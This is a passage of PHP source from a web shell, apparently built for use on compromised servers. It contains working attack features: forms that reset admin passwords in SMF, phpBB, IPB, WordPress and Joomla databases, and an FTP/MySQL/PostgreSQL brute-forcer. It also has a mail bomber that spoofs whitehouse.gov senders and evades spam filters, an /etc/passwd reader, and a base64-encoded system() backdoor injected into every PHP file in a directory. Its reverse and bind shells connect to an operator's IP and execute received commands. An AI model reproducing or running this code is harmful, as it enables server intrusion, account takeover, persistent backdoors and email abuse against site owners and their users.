  4061.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4062.                 </tr>
  4063.             </table>
  4064.             </form>
  4065.            
  4066.             <font class="tblheads" size="4">SMF Forum Password Changer</font>
  4067.             <form action="<?php echo $self; ?>" method = "POST" name="smf">
  4068.             <input type="hidden"  name="forums" value="smf">
  4069.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4070.                 <tr>
  4071.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4072.                 <p>
  4073.                     Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  4074.                 </p>
  4075.                 </tr>
  4076.                 <tr>
  4077.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4078.                 </tr>
  4079.             </table>
  4080.             </form>
  4081.            
  4082.             <font class="tblheads" size="4">Phpbb Forum Password Changer</font>
  4083.             <form action="<?php echo $self; ?>" method = "POST">
  4084.             <input type="hidden"  name="forums" value="phpbb">
  4085.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4086.                 <tr>
  4087.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4088.                 <p>
  4089.                     Table Prefix : <input type="text" name="prefix" value="phpbb_" class="sbox"> (Optional)</td>
  4090.                 </p>
  4091.                 </tr>
  4092.                 <tr>
  4093.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4094.                 </tr>
  4095.             </table>
  4096.             </form>
  4097.            
  4098.             <font class="tblheads" size="4">IPB Forum Password Changer</font>
  4099.             <form action="<?php echo $self; ?>" method = "POST" name="ipb">
  4100.             <input type="hidden"  name="forums" value="ipb">
  4101.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4102.                 <tr>
  4103.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4104.                 <p>
  4105.                     Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  4106.                 </p>
  4107.                 </tr>
  4108.                 <tr>
  4109.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4110.                 </tr>
  4111.             </table>
  4112.             </form>    
  4113.            
  4114.             <a name="wordp" id="wordp">
  4115.             <font class="tblheads" size="4">Wordpress Password Changer</font>
  4116.             <form action="<?php echo $self; ?>" method = "POST" name="wp">
  4117.             <input type="hidden"  name="forums" value="wp">
  4118.             <a name="wordp" id="wordp">
  4119.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4120.                 <tr>
  4121.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4122.                 <p>
  4123.                     Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  4124.                 </p>
  4125.                 </tr>
  4126.                 <tr>
  4127.                     <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"></p><p><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4128.                 </tr>
  4129.             </table>
  4130.             </form>
  4131.            
  4132.             <div name="jooml" id="jooml">
  4133.             <font class="tblheads" size="4">Joomla Password Changer</font>
  4134.             <form action="<?php echo $self; ?>" method = "POST">
  4135.             <input type="hidden"  name="forums" value="joomla">
  4136.             <table border = "1" width="50%" height="246" style="text-align: center;border-color:#333333;" align="center">
  4137.                 <tr>
  4138.                     <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  4139.                 <p>
  4140.                     Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  4141.                 </p>
  4142.                 </tr>
  4143.                 <tr>
  4144.                     <td height="70" width="780"><p align="center"><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  4145.                 </tr>
  4146.             </table>
  4147.             </form>
  4148.             <?php
  4149.             if(isset($_GET['changed']))
  4150.             {   ?><font size="3"><blink>Password Changed Successfully</blink></font><br><br><?php }
  4151.             else if(isset($_GET['cannotchange']))
  4152.             {   ?><font class=txt size="3"><blink>Cannot Change Password</blink></font><br><br> <?php } ?>
  4153.         </center>  
  4154.             <?php
  4155.         }
  4156.     }
  4157.  
  4158.    
  4159.     // Mail
  4160.  
  4161.     else if(isset($_GET['tools']))
  4162.     {
  4163.        
  4164.         ?>
  4165.         <center>
  4166.         <table cellpadding="5" border="2" style="width:50%;">
  4167.             <tr>
  4168.                 <td colspan="2" align="center"><b>Port Scanner<br></b></td>
  4169.             </tr>
  4170.             <tr>
  4171.                 <td align="center">
  4172.                 <form name='scanner' method='post'>
  4173.                 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
  4174.                 </td>
  4175.                 <td align="center">
  4176.                 <select class="sbox" name='protocol'>
  4177.                     <option value='tcp'>tcp</option>
  4178.                     <option value='udp'>udp</option>
  4179.                 </select>
  4180.                 </td>
  4181.             <tr>
  4182.                 <td colspan="2" align="center"><input class="but" type='submit' value='Scan Ports'></td>
  4183.             </tr>
  4184.             </form>
  4185.            
  4186.         <?php
  4187.         if(isset($_POST['host']) && isset($_POST['protocol']))
  4188.         {
  4189.             echo "<tr><td colspan=2><font size='3' face='Verdana'>Open Ports: ";
  4190.             $host = $_POST['host'];
  4191.             $proto = $_POST['protocol'];
  4192.             $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  4193.             for($current = 0; $current <= 23; $current++)
  4194.             {
  4195.                 $currents = $myports[$current];
  4196.                 $service = getservbyport($currents, $proto);
  4197.                 // Try to connect to port
  4198.                 $result = fsockopen($host, $currents, $errno, $errstr, 1);
  4199.                 // Show results
  4200.                 if($result)
  4201.                 {
  4202.                     echo "<font class=txt size=3>$currents, </font>";
  4203.                 }
  4204.             }
  4205.         }
  4206.         echo "</td></tr></table>";
  4207.         ?>
  4208.         <br>
  4209.         <form action="<?php echo $self; ?>" method="get">
  4210.         <input type="hidden" name="tools">
  4211.         <table cellpadding="5" border="2" style="width:50%;">
  4212.             <tr>
  4213.                 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
  4214.             </tr>
  4215.             <tr>
  4216.                 <td>Type : </td>
  4217.                 <td>
  4218.                     <select name="prototype" class="sbox">
  4219.                         <option value="ftp">FTP</option>
  4220.                         <option value="mysql">MYSQL</option>
  4221.                         <option value="postgresql">PostgreSql</option>
  4222.                     </select>
  4223.                 </td>
  4224.             </tr>
  4225.             <tr>
  4226.                 <td>Server <b>:</b> Port : </td>
  4227.                 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
  4228.             </tr>
  4229.             <tr>
  4230.                 <td valign="middle">Brute type : </td>
  4231.                 <td><label><input type=radio name=type value="1" checked> /etc/passwd</label><label><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label><hr>
  4232.                 <input type=radio name=type value="2"> Dictionary</label><br>
  4233.                 Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
  4234.                 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
  4235.                 </td>
  4236.             </tr>
  4237.             <tr>
  4238.                 <td colspan="2" align="center"><input type="submit" value="Attack >>" class="but"></td>
  4239.             </tr>
  4240.             </form>
  4241.            
  4242.         <?php
  4243.         if(isset($_GET['prototype']))
  4244.         {
  4245.             echo '<tr><td colspan=2><h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
  4246.             if( $_GET['prototype'] == 'ftp' )
  4247.             {
  4248.                 function BruteFun($ip,$port,$login,$pass)
  4249.                 {
  4250.                     $fp = @ftp_connect($ip, $port?$port:21);
  4251.                     if(!$fp) return false;
  4252.                     $res = @ftp_login($fp, $login, $pass);
  4253.                     @ftp_close($fp);
  4254.                     return $res;
  4255.                 }
  4256.             }
  4257.             elseif( $_GET['prototype'] == 'mysql' )
  4258.             {
  4259.                 function BruteFun($ip,$port,$login,$pass)
  4260.                 {
  4261.                     $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  4262.                     @mysql_close($res);
  4263.                     return $res;
  4264.                 }
  4265.             }
  4266.             elseif( $_GET['prototype'] == 'pgsql' )
  4267.             {
  4268.                 function BruteFun($ip,$port,$login,$pass)
  4269.                 {
  4270.                     $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  4271.                     $res = @pg_connect($str);
  4272.                     @pg_close($res);
  4273.                     return $res;
  4274.                 }
  4275.             }
  4276.            
  4277.             $success = 0;
  4278.             $attempts = 0;
  4279.             $server = explode(":", $_GET['server']);
  4280.             if($_GET['type'] == 1)
  4281.             {
  4282.                 $temp = @file('/etc/passwd');
  4283.                 if( is_array($temp))
  4284.                     foreach($temp as $line)
  4285.                     {
  4286.                         $line = explode(":", $line);
  4287.                         ++$attempts;
  4288.                         if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
  4289.                         {
  4290.                             $success++;
  4291.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  4292.                         }
  4293.                         if(@$_GET['reverse'])
  4294.                         {
  4295.                             $tmp = "";
  4296.                             for($i=strlen($line[0])-1; $i>=0; --$i)
  4297.                                 $tmp .= $line[0][$i];
  4298.                             ++$attempts;
  4299.                             if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
  4300.                             {
  4301.                                 $success++;
  4302.                                 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  4303.                             }
  4304.                         }
  4305.                     }
  4306.             }
  4307.             elseif($_GET['type'] == 2)
  4308.             {
  4309.                 $temp = @file($_GET['dict']);
  4310.                 if( is_array($temp) )
  4311.                     foreach($temp as $line)
  4312.                     {
  4313.                         $line = trim($line);
  4314.                         ++$attempts;
  4315.                         if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
  4316.                         {
  4317.                             $success++;
  4318.                             echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
  4319.                         }
  4320.                     }
  4321.             }
  4322.             echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div></td></tr>";
  4323.         }
  4324.         ?>
  4325.        
  4326.         </table>
  4327.         </center><br>
  4328.         <?php
  4329.     }
  4330.    
  4331.    
  4332. // Mail
  4333.  
  4334. else if(isset($_GET['mailbomb']))
  4335. { ?>
  4336.     <center><table><tr><td><a href="<?php echo $self; ?>?bomb&mailbomb"><font size="4">| Mail Bomber |</font></a></td><td><a href="<?php echo $self; ?>?mail&mailbomb"><font size="4">| Mass Mailer |</font></a></td></tr></table></center><br>
  4337. <?php
  4338.     if(isset($_GET['bomb']))
  4339.     {
  4340.         if(
  4341.             isset($_GET['to']) &&
  4342.             isset($_GET['subject']) &&
  4343.             isset($_GET['message']) &&
  4344.             isset($_GET['times']) &&
  4345.             $_GET['to'] != '' &&
  4346.             $_GET['subject'] != '' &&
  4347.             $_GET['message'] != '' &&
  4348.             $_GET['times'] != ''
  4349.         )
  4350.         {
  4351.             $times = $_GET['times'];
  4352.             while($times--)
  4353.             {
  4354.                 if(isset($_GET['padding']))
  4355.                 {
  4356.                     $fromPadd = rand(0,9999);
  4357.                     $subjectPadd = " -- ID : ".rand(0,9999999);
  4358.                     $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
  4359.                    
  4360.                 }
  4361.                 $from = "president$fromPadd@whitehouse.gov";
  4362.                 if(!mail($_GET['to'],$_GET['subject'].$subjectPadd,$_GET['message'].$messagePadd,"From:".$from))
  4363.                 {
  4364.                     $error = 1;
  4365.                     echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
  4366.                     break;
  4367.                 }
  4368.             }
  4369.             if($error != 1)
  4370.             {
  4371.                 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
  4372.             }
  4373.         }
  4374.         else
  4375.         {
  4376.             ?>
  4377.             <form method="GET">
  4378.                 <input type="hidden" name="bomb" />
  4379.                 <input type="hidden" name="mailbomb" />
  4380.                 <table id="margins" style="width:100%;">
  4381.                     <tr>
  4382.                         <td style="width:30%;">
  4383.                             To
  4384.                         </td>
  4385.                         <td>
  4386.                             <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  4387.                         </td>
  4388.                     </tr>
  4389.                    
  4390.                     <tr>
  4391.                         <td style="width:30%;">
  4392.                             Subject
  4393.                         </td>
  4394.                         <td>
  4395.                             <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
  4396.                         </td>
  4397.                     </tr>
  4398.                      <tr>
  4399.                         <td style="width:30%;">
  4400.                             No. of Times  
  4401.                         </td>
  4402.                         <td>
  4403.                             <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
  4404.                         </td>
  4405.                     </tr>
  4406.            
  4407.                     <tr>
  4408.                         <td style="width:30%;">
  4409.                            
  4410.                             Pad your message (Less spam detection)
  4411.                            
  4412.                         </td>
  4413.                         <td>
  4414.                        
  4415.                             <input type="checkbox" name="padding"/>
  4416.                              
  4417.                         </td>
  4418.                     </tr>
  4419.                     <tr>
  4420.                         <td colspan="2">
  4421.                             <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea>
  4422.                         </td>
  4423.                     </tr>
  4424.                    
  4425.                    
  4426.                     <tr>
  4427.                         <td rowspan="2">
  4428.                             <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="    Bomb!  "/>
  4429.                         </td>
  4430.                     </tr>
  4431.                 </table>            
  4432.             </form>  
  4433.             <?php
  4434.         }
  4435.     }
  4436.     //Mass Mailer
  4437.  
  4438.     else if(isset($_GET['mail']))
  4439.     {
  4440.         if
  4441.         (isset($_GET['to']) &&  isset($_GET['from']) &&  isset($_GET['subject']) && isset($_GET['message']))
  4442.         {
  4443.             if(mail($_GET['to'],$_GET['subject'],$_GET['message'],"From:".$_GET['from']))
  4444.             {
  4445.                 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
  4446.             }
  4447.             else
  4448.             {
  4449.                 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
  4450.             }
  4451.         }
  4452.         else
  4453.         {
  4454.         ?>
  4455.         <div align="left">
  4456.         <form method="GET">
  4457.             <input type="hidden" name="mail" />
  4458.             <input type="hidden" name="mailbomb" />
  4459.             <table align="left" style="width:100%;">
  4460.                 <tr>
  4461.                     <td style="width:10%;">From</td>
  4462.                     <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
  4463.                 </tr>
  4464.                
  4465.                 <tr>
  4466.                     <td style="width:20%;">To</td>
  4467.                     <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
  4468.                 </tr>
  4469.                
  4470.                 <tr>
  4471.                     <td style="width:20%;">Subject</td>
  4472.                     <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
  4473.                 </tr>
  4474.                
  4475.                
  4476.                 <tr>
  4477.                     <td colspan="2">
  4478.                         <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
  4479.                     </td>
  4480.                 </tr>
  4481.                
  4482.                
  4483.                 <tr>
  4484.                     <td rowspan="2">
  4485.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="   Send! "/>
  4486.                     </td>
  4487.                 </tr>
  4488.             </table>            
  4489.         </form></div>  
  4490.         <?php
  4491.     }
  4492. }
  4493. }
  4494.  
  4495. // View Passwd file
  4496.  
  4497. else if(isset($_GET['passwd']))
  4498. {
  4499.     $test='';
  4500.     $tempp= tempnam($test, "cx");
  4501.     $get = "/etc/passwd";
  4502.     if(copy("compress.zlib://".$get, $tempp))
  4503.     {
  4504.         $fopenzo = fopen($tempp, "r");
  4505.         $freadz = fread($fopenzo, filesize($tempp));
  4506.         fclose($fopenzo);
  4507.         $source = htmlspecialchars($freadz);
  4508.         echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
  4509.         unlink($tempp);
  4510.     }
  4511.     else
  4512.     {
  4513.         if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
  4514.         {
  4515.             $temp = "";
  4516.             for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
  4517.             {
  4518.                 $uid = @posix_getpwuid($_GET['val1']);
  4519.                 if ($uid)
  4520.                      $temp .= join(':',$uid)."\n";
  4521.              }
  4522.              echo '<br/>';
  4523.              paramexe('Users', $temp);
  4524.        }
  4525.        else
  4526.        {
  4527.             ?>
  4528.             <form>
  4529.                 <input type="hidden" name="passwd">
  4530.                 <table border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
  4531.                 <tr>
  4532.                     <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
  4533.                 </tr>
  4534.                 <tr>
  4535.                     <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
  4536.                 </tr>
  4537.                 <tr>
  4538.                     <td colspan="2" align="center"><input type="submit" value="  Go  " class="but"></td>
  4539.                 </tr>
  4540.                 </table><br>
  4541.             </form>
  4542.             <?php
  4543.        }
  4544.     }
  4545. }
  4546.  
  4547.  
  4548. // Code Injector
  4549.  
  4550. else if(isset($_GET['injector']))
  4551. {
  4552.     ?>
  4553.         <table id="margins" >
  4554.         <tr>
  4555.             <form method='POST'>
  4556.             <input type="hidden" name="injector"/>  
  4557.                 <tr>
  4558.                     <td width="100" class="title">
  4559.                         Directory
  4560.                     </td>
  4561.                     <td>
  4562.                          <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
  4563.                     </td>
  4564.                 </tr>
  4565.                 <tr>
  4566.                 <td class="title">
  4567.                     Mode
  4568.                 </td>
  4569.                 <td>
  4570.                         <select style="width: 400px;" name="mode" class="box">
  4571.                             <option value="Apender">Apender</option>
  4572.                             <option value="Overwriter">Overwriter</option>
  4573.                         </select>
  4574.                 </td>
  4575.                 </tr>
  4576.                 <tr>
  4577.                     <td class="title">
  4578.                         File Type
  4579.                     </td>
  4580.                     <td>
  4581.                         <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  4582.                     </td>
  4583.                 </tr>
  4584.                 <tr>
  4585.                     <td>Create A backdoor by injecting this code in every php file of current directory</td>
  4586.                 </tr>
  4587.                
  4588.                 <tr>
  4589.                     <td colspan="2">
  4590.                         <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
  4591.                     </td>
  4592.                 </tr>
  4593.                
  4594.                
  4595.                 <tr>
  4596.                     <td rowspan="2">
  4597.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
  4598.                     </td>
  4599.                 </tr>
  4600.         </form>
  4601.         </table>
  4602.         <?php
  4603. }
  4604. // Connect
  4605.  
  4606. else if(isset($_GET['connect']))
  4607. {
  4608.         ?>      
  4609.     <table style="width:50%" align="center" >
  4610.     <tr>
  4611.         <th colspan="1" width="50px">Reverse Shell</th>
  4612.         <th colspan="1" width="50px">Bind Shell</th>
  4613.     </tr>
  4614.     <tr>
  4615.         <form action='<?php echo $self; ?>?connect' method='post' >  
  4616.          <td>
  4617.             <table style="border-spacing: 6px;">
  4618.                 <tr>
  4619.                     <td>IP </td>
  4620.                     <td>
  4621.                         <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
  4622.                     </td>
  4623.                 </tr>
  4624.                 <tr>
  4625.                     <td>Port </td>
  4626.                     <td><input style="width: 200px;" class="box" name="port" size='5' value="21"/></td>
  4627.  
  4628.                 </tr>
  4629.                 <tr>
  4630.                     <td style="vertical-align:top;">Use:</td>  
  4631.                     <td><select style="width: 95px;" name="lang" class="sbox">
  4632.                         <option value="perl">Perl</option>
  4633.                         <option value="python">Python</option>
  4634.                         <option value="php">PHP</option>
  4635.                         </select>&nbsp;&nbsp;
  4636.                     <input style="width: 90px;" class="but" type="submit" value="Connect!"/></td>
  4637.                    
  4638.                </tr>
  4639.             </table>
  4640.          </td>
  4641.       </form>
  4642.          <form action='<?php echo $self; ?>?connect' method='post' >
  4643.          <td style="vertical-align:top;">
  4644.             <table style="border-spacing: 6px;">
  4645.                 <tr>
  4646.                     <td>Port</td>
  4647.                     <td>
  4648.                         <input style="width: 200px;" class="box" name="port" value="21" />
  4649.                     </td>
  4650.                 </tr>
  4651.                 <tr>
  4652.                     <td>Password </td>
  4653.                     <td>
  4654.                         <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
  4655.                     </td>
  4656.                     <tr>
  4657.                         <td>Using</td>
  4658.                         <td>
  4659.                         <select style="width: 95px;" name="lang" id="lang" class="sbox">
  4660.                         <option value="perl">Perl</option>
  4661.                         <option value="c">C</option>
  4662.                         </select>&nbsp;&nbsp;
  4663.                         <input style="width: 90px;" class="but" type="submit" value=" Bind "/></td>
  4664.                 </tr>
  4665.             </table>
  4666.          </td>
  4667.          </form>
  4668.     </tr>
  4669.     </table>
  4670.     <div align="center">Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p 21"!</div>
  4671.     <p align="center">Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  4672. <?php
  4673.     if(isset($_POST['ip']) &&   isset($_POST['port']) &&  $_POST['ip'] != "" && $_POST['port'] != ""  )
  4674.     {
  4675.              
  4676.         $host = $_POST['ip'];
  4677.         $port = $_POST['port'];
  4678.         if($_POST["lang"] == "perl")
  4679.         {
  4680.             if(is_writable("."))
  4681.             {  
  4682.                 @$fh=fopen(getcwd()."/bc.pl",'w');
  4683.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4684.                 @fclose($fh);
  4685.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4686.                 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
  4687.                 if(!@unlink(getcwd()."/bc.pl")) echo "<font size=3>Warning: Failed to delete reverse-connection program</font></br>";
  4688.             }
  4689.             else
  4690.             {
  4691.                 @$fh=fopen("/tmp/bc.pl","w");
  4692.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4693.                 @fclose($fh);
  4694.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4695.                 execmd("perl /tmp/bc.pl $host $port &",$disable);
  4696.                 if(!@unlink("/tmp/bc.pl")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4697.             }
  4698.         }
  4699.         else if($_POST["lang"] == "python")
  4700.         {
  4701.             if(is_writable("."))
  4702.             {
  4703.                  $w_file=@fopen(getcwd()."/bc.py","w");
  4704.                  if($w_file)
  4705.                  {
  4706.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4707.                      @fclose($w_file);
  4708.                  }
  4709.                  chmod('bc.py', 0777);
  4710.                  $blah = execmd("python ".getcwd()."/bc.py $host $port &");
  4711.                  echo "<font class=txt size=2>Trying to connect...</font></br>";
  4712.                  if(!@unlink("bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";               
  4713.             }
  4714.             else
  4715.             {
  4716.                      $w_file=@fopen("/tmp/bc.py","w") or err();
  4717.                  if($w_file)
  4718.                  {
  4719.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4720.                      @fclose($w_file);
  4721.                  }
  4722.                  chmod('/tmp/bc.py', 0777);
  4723.                  $blah = execmd("python /tmp/bc.py 127.0.0.1 21 &");
  4724.                  echo "<font class=txt size=2>Trying to connect...</font></br>";
  4725.                  if(!@unlink("/tmp/bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4726.             }
  4727.         }
  4728.         else if($_POST["lang"] == "php")
  4729.         {
  4730.              echo "<font class=txt size=3>Attempting to connect...</font>";
  4731.             $ip = $_POST['ip'];
  4732.             $port=$_POST['port'];
  4733.             $sockfd=fsockopen($ip , $port , $errno, $errstr );
  4734.             if($errno != 0)
  4735.             {
  4736.                 echo "<font class=txt><b>$errno</b> : $errstr</font>";
  4737.             }
  4738.             else if (!$sockfd)
  4739.             {
  4740.                    $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  4741.             }
  4742.             else
  4743.             {
  4744.                 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
  4745.              $pwd = exec_all("pwd");
  4746.              $sysinfo = exec_all("uname -a");
  4747.              $id = exec_all("id");
  4748.              $len = 1337;
  4749.              fputs($sockfd ,$sysinfo . "\n" );
  4750.              fputs($sockfd ,$pwd . "\n" );
  4751.              fputs($sockfd ,$id ."\n\n" );
  4752.              fputs($sockfd ,$dateAndTime."\n\n" );
  4753.              while(!feof($sockfd))
  4754.              {  
  4755.                 $cmdPrompt ="(dhanush)[$]> ";
  4756.                 fputs ($sockfd , $cmdPrompt );
  4757.                 $command= fgets($sockfd, $len);
  4758.                 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
  4759.             }
  4760.             fclose($sockfd);
  4761.             }
  4762.         }
  4763.     }
  4764.     else if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
  4765.     {
  4766.          $passwd = $_POST['passwd'];
  4767.          if($_POST['lang'] == 'c')
  4768.          {
  4769.             if(is_writable("."))
  4770.             {  
  4771.                 @$fh=fopen(getcwd()."/bp.c",'w');
  4772.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4773.                 @fclose($fh);
  4774.                 execmd("chmod ".getcwd()."/bp.c 0755");
  4775.                 execmd("gcc -o ".getcwd()."/bp ".getcwd()."/bp.c");
  4776.                 execmd("chmod ".getcwd()."/bp 0755");
  4777.                 $out = execmd(getcwd()."/bp"." ".$_POST['port']." ". $passwd ." &");
